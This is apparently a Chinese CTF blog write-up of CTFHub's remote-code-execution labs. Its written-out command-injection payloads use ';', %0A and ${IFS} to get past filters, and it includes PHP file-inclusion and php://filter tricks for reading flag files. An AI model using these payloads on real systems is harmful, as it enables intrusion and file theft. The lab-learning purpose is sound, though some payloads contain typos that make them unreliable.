CTFHub远程执行RCE

CTFHub远程执行RCE

  • eval执行
  • 命令注入
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习
  • 文件包含
  • php://input
  • 远程包含
  • 读取源代码

eval执行

CTFHub远程执行RCE_第1张图片

CTFHub远程执行RCE_第2张图片

CTFHub远程执行RCE_第3张图片

CTFHub远程执行RCE_第4张图片

命令注入

CTFHub远程执行RCE_第5张图片

CTFHub远程执行RCE_第6张图片

CTFHub远程执行RCE_第7张图片

CTFHub远程执行RCE_第8张图片

127.0.0.1;cat 121931294031970.php
CTFHub远程执行RCE_第9张图片

127.0.0.1;cat 121931294031970.php|base64

CTFHub远程执行RCE_第10张图片

获得flag

CTFHub远程执行RCE_第11张图片

过滤cat

其他查看文件的命令
CTFHub远程执行RCE_第12张图片

CTFHub远程执行RCE_第13张图片

127.0.0.1;ls
CTFHub远程执行RCE_第14张图片

127.0.0.1;less flag_198392751413959.php|base64
127.0.0.1;more flag_198392751413959.php|base64
CTFHub远程执行RCE_第15张图片

CTFHub远程执行RCE_第16张图片

过滤空格

在这里插入图片描述

CTFHub远程执行RCE_第17张图片

127.0.0.1;cat CTFHub远程执行RCE_第18张图片

在这里插入图片描述

过滤目录分隔符

CTFHub远程执行RCE_第19张图片

127.0.0.1;ls
CTFHub远程执行RCE_第20张图片

127.0.0.1;ls flag_is_here
CTFHub远程执行RCE_第21张图片

127.0.0.1;cd flag_is_here;cat flag_267421362024533.php|base64
CTFHub远程执行RCE_第22张图片

base64解密
获得flag
在这里插入图片描述

过滤运算符

CTFHub远程执行RCE_第23张图片
获得文件名,做快了没截图
127.0.0.0.1;cat flag_18244445012948.php|base64
CTFHub远程执行RCE_第24张图片

127.0.0.0.1;cat flag_18244445012948.php
获得flag
CTFHub远程执行RCE_第25张图片

综合过滤练习

CTFHub远程执行RCE_第26张图片

CTFHub远程执行RCE_第27张图片

CTFHub远程执行RCE_第28张图片

CTFHub远程执行RCE_第29张图片

?ip=127.0.0.1%0Acd$ {IFS}f***_is_here% 0Acd${IFS}f***_is_here%0als
CTFHub远程执行RCE_第30张图片

ip=127.0.0.1%0Acd$ {IFS}f**g_is_here%0Als
CTFHub远程执行RCE_第31张图片

ip=127.0.0.1%0Acd$ {IFS}f** g_is_here%0Amore$ {IFS} f* *g_17209124488085.php
CTFHub远程执行RCE_第32张图片

文件包含

CTFHub远程执行RCE_第33张图片CTFHub远程执行RCE_第34张图片

CTFHub远程执行RCE_第35张图片说明参数为ctfhub
一直试就是传不上参
最后发现,它必须通过file
CTFHub远程执行RCE_第36张图片/?file=shell.txt&ctfhub=system(‘find / -name flag*’);

在这里插入图片描述
/?file=shell.txt&ctfhub=system(‘cat /flag’);
CTFHub远程执行RCE_第37张图片

php://input

CTFHub远程执行RCE_第38张图片CTFHub远程执行RCE_第39张图片

CTFHub远程执行RCE_第40张图片CTFHub远程执行RCE_第41张图片CTFHub远程执行RCE_第42张图片

远程包含

CTFHub远程执行RCE_第43张图片
CTFHub远程执行RCE_第44张图片
CTFHub远程执行RCE_第45张图片

读取源代码

php://协议

php://协议的使用条件:

  1. 不需要开启allow_url_fopen

  2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php://filter 用于读取源码且在双off的情况下也可以正常使用

allow_url_fopen :off/on (使用条件)

allow_url_include:off/on

Eg: http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

allow_url_fopen :off/on

allow_url_include:on

Eg:http://127.0.0.1/cmd.php?file=php://input [POST DATA]

CTFHub远程执行RCE_第46张图片?file=php://filter/read=convert.base64-encode/resource=/flag
CTFHub远程执行RCE_第47张图片
CTFHub远程执行RCE_第48张图片CTFHub远程执行RCE_第49张图片

你可能感兴趣的:(Ctf,php,安全,web安全)